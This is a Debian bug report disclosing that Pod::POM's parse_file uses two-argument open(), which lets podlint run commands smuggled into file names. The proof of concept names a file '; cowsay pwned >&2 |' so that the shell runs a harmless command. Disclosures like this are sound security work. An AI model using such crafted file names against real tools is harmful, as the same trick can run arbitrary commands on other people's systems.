Bug#923224: Pod::POM::parse_file() uses 2-argument open()

[Jakub Wilk]

Package: libpod-pom-perl
Version: 2.01-2
Tags: security
Control: affects -1 check-all-the-things

The Pod::POM::parse_file function uses 2-argument open().
As a consequence, podlint can't be used securely to check files with 
untrusted names.

Proof of concept:

   $ touch '; cowsay pwned >&2 |'
   $ podlint ./*
   sh: 1: ./: Permission denied
    _______
   < pwned >
    -------
           \   ^__^
            \  (oo)\_______
               (__)\       )\/\
                   ||----w |
                   ||     ||
   Use of uninitialized value $text in pattern match (m//) at /usr/share/perl5/Pod/POM.pm line 193.


-- System Information:
Architecture: i386

Versions of packages libpod-pom-perl depends on:
ii  perl  5.28.1-4

-- 
Jakub Wilk